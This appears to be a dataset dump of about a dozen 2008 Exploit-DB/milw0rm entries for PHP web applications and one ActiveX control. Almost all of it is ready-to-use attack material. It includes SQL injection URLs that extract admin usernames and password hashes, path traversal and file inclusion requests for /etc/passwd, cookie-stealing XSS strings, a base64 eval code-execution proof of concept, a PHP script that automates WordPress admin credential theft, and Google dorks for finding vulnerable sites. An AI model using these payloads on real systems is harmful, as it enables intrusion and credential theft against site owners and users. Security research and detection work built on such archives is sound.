QLWD/code_shield huggingface dataset:
标题: bubbling library 1.32 - 'uri' Remote File Disclosure EDB-ID: 5001 CVE: 2008-0521 类型: WEBAPPS 平台: PHP 发布日期: 2008-01-28 漏洞利用脚本: ## bubbling library v1.32 Remote File Disclosure Vulnerabilities
## Download script : http://sourceforge.net/project/showfiles.php?group_id=192730
## Author : Stack-Terrorist [v40]
## Email : v.4@hotmail.fr

## Home : http://www.v4-team.com

## exploit :

http://localhost/ [script] /examples/dispatcher/framework/dispatcher.php?uri=../../file

http://localhost/ [script] /examples/dispatcher/dispatcher.php?uri=../../file
http://localhost/ [script] /examples/wizard/dispatcher.php?uri=../../file
http://localhost/ [script] /PHP/dispatcher.php?uri=../../file

Greetz :  H-T Team , v4 Team  , Tryag , no-hack all my friend 
Special tnx for : Houssamix
thx for: Proamk  - djekmani - Jadi - Bohayra - MR.safa7 -Hack3r-b0y - str0ke 

# milw0rm.com [2008-01-28] URL: https://www.exploit-db.com/exploits/5001
标题: Bigware Shop 2.0 - 'pollid' SQL Injection EDB-ID: 5002 CVE: 2008-0498 类型: WEBAPPS 平台: PHP 发布日期: 2008-01-29 漏洞利用脚本: ###########################
###Bigware Shop 2.0########
#####################################################################
# Bug found by D4m14n  
# Vendor: http://www.bigware.de/
# Vuln. Version: 2.0 (prior versions also may be affected)
# Email: delta-1@secure-mail.net
#
# GoogleDork: "Diese Shopsoftware wurde entwickelt von Bigware"
#####################################################################

There's a SQL-Injection in "main_bigware_53.tpl.php"!
You can find more than this Injection in the Sourcecode (RFI,SQL-Injections).

#####################################################################
Sourcecode:
if (!isset($_GET['op'])) {
    $_GET['op']="list";
    }
switch ($_GET['op']) {
    case "results":
        if (isset($_GET['pollid'])) {
            $pollid=$_GET['pollid'];
        } else {
        $pollid=1;
        }
              $poll_query = go_db_query("SELECT pollid, timeStamp FROM phesis_poll_desc WHERE pollid='".$pollid."'");    
              $polls = go_db_fetch_array($poll_query);
                      $title_query = go_db_query("select optionText from phesis_poll_data where pollid=$pollid and voteid='0' and language_id = '" . $languages_id . "'");
                      $title = go_db_fetch_array($title_query);

#####################################################################
Proof-of-Concept:

main_bigware_53.php?op=results&pollid=-1/**/and/**/voteid=0/**/and/**/language_id=5/**/and/**/1=1/**/UnIOn/**/SeLeCt/**/ConCat(former_email_address,0x3a,former_password)/**/FrOM/**/former/**/WhEre/**/former_id=1/*

#####################################################################

You can see the Admins Email-Adress and his SALTED passwordhash (cracking this hash is very easy)

#####################################################################

If you are searching for a Coder, who searches Security-Holes in your Web-Applications,
feel free to contact me!
GreetZ 2 Shadowleet and some more ;)

PS: Immer wenn mir langweilig ist, dann verÃ¶ffentliche ich SicherheitslÃ¼cken... 

# milw0rm.com [2008-01-29] URL: https://www.exploit-db.com/exploits/5002
标题: Mambo Component 'com_fq' - 'listid' SQL Injection EDB-ID: 5008 CVE: 2008-0512 类型: WEBAPPS 平台: PHP 发布日期: 2008-01-29 漏洞利用脚本: #########################################################################
#
# joomla SQL Injection(com_fq)
#
#########################################################################
#
# AUTHOR : S@BUN
#
# HOME : http://www.hackturkiye.com/

#########################################################################
#
# DorKs 1 : allinurl: "com_fq"
#
########################################################################
EXPLOIT :

index.php?option=com_fq&Itemid=S@BUN&listid=9999999/**/union/**/select/**/name,password/**/from/**/mos_users/*

#########################################################################
# S@BUN                    www.hackturkiye.com                   S@BUN

#########################################################################
#########################################################################
# S@BUN                         GOOD LUCKY                   S@BUN
#########################################################################

# milw0rm.com [2008-01-29] URL: https://www.exploit-db.com/exploits/5008
标题: Smart Publisher 1.0.1 - 'filedata' Remote Code Execution EDB-ID: 5003 CVE: 2008-0503 类型: WEBAPPS 平台: PHP 发布日期: 2008-01-29 漏洞利用脚本: ######    ######                 ##############               ######  ######                      ########          ##    
                ####      ##                   ##    ##    ##                 ##      ##                      ##      ##                
  ########      ##  ##    ##      ########           ##       ####  ######      ##  ##        ########      ##                ######    
##        ##    ##  ##    ##    ##        ##         ##         ####            ##  ##      ##        ##    ##                    ##    
  ##########    ##    ##  ##      ##########         ##         ##                ##          ##########    ##      ######        ##    
##        ##    ##    ##  ##    ##        ##         ##         ##                ##        ##        ##    ##        ##          ##    
##        ##    ##      ####    ##        ##  ###    ##         ##                ##        ##        ##      ##      ##          ##    
  #########   ######    ####      #########   ###  ######     ##########        ######        ##########        ######        ##########

                            ######################################################################
                            ### Smart Publisher 1.0.1 (disp.php) Remote Code Execution Exploit ###
                            ### Script : http://sourceforge.net/projects/smart-publisher/      ###
                            ### Vuln Code In '/admin/op/disp.php'In Line '3'                   ###
                            ### eval("\$v=".base64_decode($filedata).";"); <- Vuln             ###
                            ### POC :                                                          ###
                            ### /admin/op/disp.php?filedata=cGhwaW5mbygp <= phpinfo() Base64   ###
                            ### ?filedata=cGFzc3RoZXUobHMgLWxpYTtpZDt1bmFtZSAtYSk <= passtheu(ls -lia;id;uname -a)
                            ######################################################################

# milw0rm.com [2008-01-29] URL: https://www.exploit-db.com/exploits/5003
标题: Mambo Component 'com_glossary' 2.0 - 'catid' SQL Injection EDB-ID: 5010 CVE: 2008-0514 类型: WEBAPPS 平台: PHP 发布日期: 2008-01-30 漏洞利用脚本: #########################################################################
#
# joomla(Glossary V2.0) SQL Injection(com_glossary)
#
#########################################################################
#
# AUTHOR : S@BUN
#
# HOME : http://www.hackturkiye.com/

#########################################################################
#
# DorKs 1 : allinurl: "com_glossary"
#
dork 2 : Glossary V2.0 (exploit working html sites)

########################################################################
EXPLOIT :

index.php?option=com_glossary&func=display&Itemid=s@bun&catid=-1%20union%20select%201,username,password,4,5,6,7,8,9,10,11,12,13,14%20from%20mos_users--

#########################################################################
# S@BUN                 www.hackturkiye.com                S@BUN
#########################################################################
# S@BUN                       GOOD LUCKY                     S@BUN
######################################################################### 

# milw0rm.com [2008-01-30] URL: https://www.exploit-db.com/exploits/5010
标题: Mambo Component Recipes 1.00 - 'id' SQL Injection EDB-ID: 5014 CVE: 2008-0518 类型: WEBAPPS 平台: PHP 发布日期: 2008-01-30 漏洞利用脚本: #########################################################################
#
# joomla SQL Injection(com_recipes)
#
#########################################################################
#
# AUTHOR : S@BUN
#
# HOME : http://www.hackturkiye.com/

#########################################################################
#
# DorKs 1 : allinurl: "com_recipes"
#
########################################################################
EXPLOIT :

index.php?option=com_recipes&Itemid=S@BUN&func=detail&id=-1/**/union/**/select/**/0,1,concat(username,0x3a,password),username,0x3a,5,6,7,8,9,10,11,12,0x3a,0x3a,0x3a,username,username,0x3a,0x3a,0x3a,21,0x3a/**/from/**/mos_users/*

#########################################################################
# S@BUN              www.hackturkiye.com                       S@BUN
#########################################################################
# S@BUN                  GOOD LUCKY                             S@BUN
######################################################################### 

# milw0rm.com [2008-01-30] URL: https://www.exploit-db.com/exploits/5014
标题: WordPress Plugin Adserve 0.2 - 'adclick.php' SQL Injection EDB-ID: 5013 CVE: 2008-0507 类型: WEBAPPS 平台: PHP 发布日期: 2008-01-30 漏洞利用脚本: <?
# WordPress Adserve plugin v 0.2 Sql Injection Exploit 
#
# Plugin Homepage-http://www.irisco.it/?page_id=40
#  
# Found by:enter_the_dragon
# 

# Vuln code
#
# -In adclick.php
#
# if (isset($_GET['id'])) {
#    Header("Location: ".iri_AdServe_BannerClick($_GET['id'])
# 
# -In  iri_AdServe_BannerClick function
#   
#  return $wpdb->get_var("SELECT url FROM $table_name WHERE id=$id;");  
#
#
# 

# Exploit
# 
# id variable isnt filtered so we can inject and check the output in the Location response-header 
# If exploit is succesfull Wordpress administrators login and md5 hashed password is retrieved
#
# 




echo "\n";
echo "-------WordPress Adserve plugin v 0.2 Sql Injection Exploit-------"."\n";
echo "-------------------coded by : enter_the_dragon--------------------"."\n";
echo "------------------------------------------------------------------"."\n";
if ($argc!=3)
{
echo " Usage: $argv[0] target_host wp_path \n";
echo " target_host: Your target ex www.target.com \n";
echo " wp_path: WordPress path ex /blog/ or / if wordpress is installed in the web servers root folder";      
echo "\n";
exit;
}


$query=$argv[1];
$query.=$argv[2];
$query.="wp-content/plugins/wp-adserve/adclick.php?";
$query.="id=-1%20union%20select%20concat(0x7c,user_login,0x7c,user_pass,0x7c)%20from%20wp_users";

  
if(function_exists(curl_init))
{
  $ch = curl_init("http://$query");
  curl_setopt($ch, CURLOPT_HEADER,true);
  curl_setopt( $ch, CURLOPT_RETURNTRANSFER,true);
  curl_setopt($ch, CURLOPT_TIMEOUT,10);
  curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/4.0 (compatible; MSIE 6.0;Windows NT 5.1)");  
  $html=curl_exec($ch);
  $returncode = curl_getinfo($ch,CURLINFO_HTTP_CODE);
  curl_close($ch);

  if($returncode==302)
     {  
 $pattern="/\|(.*)?\|([a-z0-9]{32})\|/";
        if(preg_match($pattern,$html,$matches))
          {
           $adminusername=$matches[1];
           $adminpass=$matches[2];
    echo "Admin Login:$adminusername\n" ;
         echo "Admin Pass :$adminpass\n";     
   }
     }      
 else 
     {
 exit ("Exploit Failed :( \n");
     } 


}
else
exit("Error:Libcurl isnt installed \n");

?>

# milw0rm.com [2008-01-30] URL: https://www.exploit-db.com/exploits/5013
标题: Chilkat Mail ActiveX 7.8 - 'ChilkatCert.dll' Insecure Method EDB-ID: 5005 CVE: 2008-4584 类型: REMOTE 平台: WINDOWS 发布日期: 2008-01-29 漏洞利用脚本: <body bgcolor="#000000">

<p align="center"><b><font face="Verdana" color="#00FF00" size="2">Chilkat Mail 
ActiveX 7.8 (ChilkatCert.dll) Insecure Method Exploit</font></b></p>
<p align="center"><b><font face="Verdana" size="2" color="#00FF00">Site :
<a href="http://www.chilkatsoft.com"><font color="#00FF00">www.chilkatsoft.com</font></a></font></b></p>
<p align="center"><font color="#00FF00" face="Verdana">
===================================================</font></p>
<p align="center"><b><font face="Verdana" color="#00FF00" size="2">Tested on 
Windows XP Professional SP2 , with Internet Explorer 6</font></b></p>
<p align="center"><b><font face="Verdana" size="2" color="#00FF00">Author : 
darkl0rd</font></b></p>
<p align="center"><b><font face="Verdana" size="2" color="#00FF00">E-Mail : 
l_l_darkl0rd_l_l[at]yahoo[dot]com</font></b></p>
<p align="center"><b><font color="#FF0000" face="Verdana" size="2">SaveLastError</font></b></p>
<p align="center">
<object classid='clsid:2A9A3D40-2F32-45BF-9A89-AC9ED6C2FEDF' id='over' align="left"></object>

<input language=VBScript onclick=lose() type=button value="Exploit">

<script language='vbscript'>
 Sub lose
   mystr="c:\darkl0rd.txt"
   over.SaveLastError mystr
   MyMsg = MsgBox("Done !")
 End Sub
</script>
</span></span>

</code></p>
</pre>

# milw0rm.com [2008-01-29] URL: https://www.exploit-db.com/exploits/5005
标题: phpIP 4.3.2 - Multiple SQL Injections EDB-ID: 4990 CVE: 2008-0538 类型: WEBAPPS 平台: PHP 发布日期: 2008-01-26 漏洞利用脚本: There exist numerous SQL injection vulnerabilities in phpIP 4.3.2, and
probably previous versions. Most of the data obtained from the request
variables ($_GET, $_POST, $_COOKIE, etc) is not sanitized before it is
passed to MySQL. This may result in un-authorized administrative
access to phpIp and read-access to the database, among other things.

One such vulnerability allows an attacker to gain administrative
access to the application, this does not require the attacker to
already have access to an existing user account.

Proof of concept:
Go to the phpIP login page and enter a valid username ('phpip'
typically works, if not try 'admin') with the following password:

a') UNION SELECT 1,1,'Administrator',1,1,1,1,1 #

At this point you will be logged in as an Administrator with the
supplied username.

There is also the risk of information disclosure through another SQL
injection vulnerability found in display.php. The following PoC
demonstrates a query that will echo a userid, username, MD5-hashed
password, and email address to the page. You must be logged in to take
advantage of this vulnerability (see above.)

Proof of concept:
http(s)://path/to/phpip/display.php?range=view&id=0%20UNION%20SELECT%20null,null,null,null,null,null,uid,username,password,email,null,null,null,null,null,null,null,null,null,null%20%20FROM%20users--&iprange=0&netid=0

# milw0rm.com [2008-01-26] URL: https://www.exploit-db.com/exploits/4990
标题: WordPress Plugin WP-Cal 0.3 - 'editevent.php' SQL Injection EDB-ID: 4992 CVE: 2008-0490 类型: WEBAPPS 平台: PHP 发布日期: 2008-01-27 漏洞利用脚本: --------------------------------------------------------------
        H-T Team [ HouSSaMix + ToXiC350 ] from MoroCCo
--------------------------------------------------------------
# Author : Houssamix From H-T Team
# Script : Wordpress Plugin WP-Cal                                 
# Download : http://www.fahlstad.se/wp-plugins/wp-cal/                         
# BUG :  Remote SQL Injection Vulnerability  
# Dorks : inurl:/wp-content/plugins/wp-cal/
          inurl:/WP-Cal/

## Vulnerable CODE :
~~~~~~~ /wp-content/plugins/wp-cal/functions/editevent.php ~~~~~~~~~~~~~
$id = $_GET['id'];
 $event = $wpdb->get_row("SELECT * FROM $table WHERE id = $id");
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

# Exploit :
/wp-content/plugins/wp-cal/functions/editevent.php?id=-1%20union%20select%201,concat(user_login,0x3a,user_pass,0x3a,user_email),3,4,5,6%20from%20wp_users--

Exemple :
http://site.il/wordpress/wp-content/plugins/wp-cal/functions/editevent.php?id=-1%20union%20select%201,concat(user_login,0x3a,user_pass,0x3a,user_email),3,4,5,6%20from%20wp_users--

admin login http://target.il/wordpress_path/wp/wp-login.php

# Gr33tz : V40 (Stack-Terrorist) - Mahmood_ali - weliem & all muslims hackers  

------------------------||  Viva Palestine ||------------------------------
------------------------||  FREE GaZZA ||------------------------------

# milw0rm.com [2008-01-27] URL: https://www.exploit-db.com/exploits/4992
标题: WordPress Plugin fGallery 2.4.1 - 'fimrss.php' SQL Injection EDB-ID: 4993 CVE: 2008-0491 类型: WEBAPPS 平台: PHP 发布日期: 2008-01-27 漏洞利用脚本: --------------------------------------------------------------
        H-T Team [ HouSSaMix + ToXiC350 ] from MoroCCo
--------------------------------------------------------------
# Author : Houssamix From H-T Team
# Script : Wordpress Plugin fGallery 2.4.1                                    
# Download : http://www.fahlstad.se/wp-plugins/fgallery/                         
# BUG :  Remote SQL Injection Vulnerability  
# Dork : inurl:/wp-content/plugins/fgallery/

## Vulnerable CODE :
~~~~~~~ /wp-content/plugins/fgallery/fim_rss.php ~~~~~~~~~~~~~

$cat = $wpdb->get_row("SELECT * FROM $cats WHERE id = $_GET[album]");
$images = $wpdb->get_results("SELECT * FROM $imgs WHERE cat = $_GET[album] AND status = 'include'");
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

# Exploit :
[Target.il]/[wordpress_path]//wp-content/plugins/fgallery/fim_rss.php?album=-1%20union%20select%201,concat(user_login,0x3a,user_pass,0x3a,user_email),3,4,5,6,7%20from%20wp_users--

Exemple :
http://site.il/wordpress/wp-content/plugins/fgallery/fim_rss.php?album=-1%20union%20select%201,concat(user_login,0x3a,user_pass,0x3a,user_email),3,4,5,6,7%20from%20wp_users--

src='http://site.il/wordpress/wp-content/fgallery/thumb_admin:051e3db4c8eee42d7c93df48dffe4d5f:markus@swimatyourownrisk.com' /><br>5  markus@swimatyourownrisk.com  Thu, 01 Jan 1970 00:00:00 +0100

Info => admin:051e3db4c8eee42d7c93df48dffe4d5f:markus@swimatyourownrisk.com

admin login http://target.il/wordpress_path/wp/wp-login.php


# Gr33tz : V40 (Stack-Terrorist) - Mahmood_ali - weliem & all muslims hackers  

------------------------||  Viva Palestine ||------------------------------
------------------------||  FREE GaZZA ||------------------------------

# milw0rm.com [2008-01-27] URL: https://www.exploit-db.com/exploits/4993
标题: Simple Forum 3.2 - File Disclosure / Cross-Site Scripting EDB-ID: 4989 CVE: 2008-0542 2008-0541 类型: WEBAPPS 平台: PHP 发布日期: 2008-01-26 漏洞利用脚本: ########################################################
           #                                                      #
           # SIMPLE FORUM v 3.2 MULTIPLE VULNERABILITIES          #
           # author      : tomplixsee                             #  
           # my email    : tomplixsee@yahoo.co.id                 #
           #                                                      #        
           # software    : SIMPLE FORUM v3.2                      #
           # download    : http://www.gerd-tentler.de/tools/forum/#
           #                                                      #
           ########################################################


1.XSS 
  vulnerable code on forum.php
  
  <?
  .....
  if(isset($_REQUEST['date_show'])) $date_show = $_REQUEST['date_show'];
  .....
  if(isset($_REQUEST['open'])) $open = $_REQUEST['open'];
  .....
  <input type="hidden" name="date_show" value="<? echo $date_show; ?>">
  <input type="hidden" name="open" value="<? echo $open; ?>">
  .....
example:
  http://target/path/forum.php?open="/><script>alert(document.cookie)</script>
  http://target/path/forum.php?date_show="/><script>alert(document.cookie)</script>


2.Remote File Disclosure
  vulnerable code on thumbnail.php
  
  <?
  ....
  if(isset($_REQUEST['file'])) $file = $_REQUEST['file'];
  if(isset($_REQUEST['type'])) $type = $_REQUEST['type'];
  ....
  switch($type) {
      case 1:
        if($img && function_exists('ImageGIF')) {
          header('Content-type: image/gif');
          @ImageGIF($img);
        }
        else if($img && function_exists('ImagePNG')) {
          header('Content-type: image/png');
          @ImagePNG($img);
        }
        else {
          header('Content-type: image/gif');
          readfile($file);
        }
      break;

      case 2:
        header('Content-type: image/jpeg');
        if($img && function_exists('ImageJPEG')) @ImageJPEG($img);
        else readfile($file);
      break;

      case 3:
        header('Content-type: image/png');
        if($img && function_exists('ImagePNG')) @ImagePNG($img);
        else readfile($file);
      break;
              }
  ....
  ?>

example:
 http://target/path/thumbnail.php?type=3&file=../../../../../../../etc/passwd
 then try to view the page source :D



salam tuk:
ira, sukabirus network community, akillers 179,bidulux,sibalbal,crutz_ao,  

# milw0rm.com [2008-01-26] URL: https://www.exploit-db.com/exploits/4989
标题: flinx 1.3 - 'id' SQL Injection EDB-ID: 4985 CVE: 2008-0468 类型: WEBAPPS 平台: PHP 发布日期: 2008-01-25 漏洞利用脚本: --------------------------------------------------------------
            H-T Team [ HouSSaMix + ToXiC350 + RxH ]
--------------------------------------------------------------
# Author : Houssamix From H-T Team
# Script : flinx 1.3 & below                                          
# Download : http://rapidshare.com/files/86100439/flinx.rar.html (Nulled)                         
# BUG :  Remote SQL Injection Vulnerability  
# Dork : Powered by Flinx

## Vulnerable CODE :
~~~~~~~~ category.php ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
<?
$query="SELECT linkID FROM $table_link WHERE relCatID=$id";
$queryl=mysql_query($query);
$count=mysql_numrows($queryl);
$result=mysql_query("SELECT name FROM $table_cat WHERE catID=$id");
if ($row=mysql_fetch_array($result)){
do{
?>
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

# Exploit :
[Target.il]/[flinx_path]/category.php?id=[SQL-CODE]

tables and columns names
=> table :  flinx_cat
columns :  name / catid
=> table : flinx_link
columns :  name  / url / image / relCatID / width / height

exemple :
http://site.com/flinx/category.php?id=-999 union select name from flinx_cat--

we can also try get user and password from mysql.user :
our user needs to be root@localhost or administrator mysql, check:
http://site.com/flinx/category.php?id=-999/**/union/**/select/**/user()/*
user and password from mysql.user:
http://site.com/flinx/category.php?id=concat(user,0x203a3a20,password)/**/from/**/mysql.user/*

# Gr33tz :  CoNaN - V40 - Mahmood_ali - RaChiDoX & all muslims hackers       

# milw0rm.com [2008-01-25] URL: https://www.exploit-db.com/exploits/4985
标题: Bubbling Library 1.32 - Multiple Local File Inclusions EDB-ID: 4991 CVE: 2008-0545 类型: WEBAPPS 平台: PHP 发布日期: 2008-01-26 漏洞利用脚本: ## bubbling library v1.32   multiple Local File Inclusion Vulnerabilities  
## Download scrip : http://sourceforge.net/project/showfiles.php?group_id=192730
## Author : Stack-Terrorist [v40]
## Email : v.4@hotmail.fr

## Home : http://www.v4-team.com
## for execute exploit does not write extention of file
## Other files:    =../../../../etc/passwd%00 
## exploit :
#  
# examples/dispatcher/framework/simple.php?page=[local file]&tpl=ajax
http://localhost/ [script] /examples/dispatcher/framework/simple.php?page=../[name of file wthout php]
http://localhost/ [script] /examples/dispatcher/framework/yui-menu.php?page=../[name of file wthout php]
http://localhost/ [script] /examples/dispatcher/framework/advanced.tpl.php?uri=../[name of file wthout php]
# examples/dispatcher/framework/simple.php?page=/home/user/shell
http://localhost/ [script] /examples/dispatcher/framework/yui-menu.tpl.php?uri=../[name of file wthout php]
http://localhost/ [script] /examples/dispatcher/framework/simple.tpl.php?uri=../[name of file wthout php]
http://localhost/ [script] /examples/dispatcher/framework/advanced.php?page=../[name of file wthout php]

Greetz :  H-T Team , v4 Team  , Tryag , no-hack all my friend  
Special tnx for : Houssamix
thx for: Proamk  - djekmani - Jadi - Bohayra - MR.safa7 -Hack3r-b0y - str0ke  

# milw0rm.com [2008-01-26] URL: https://www.exploit-db.com/exploits/4991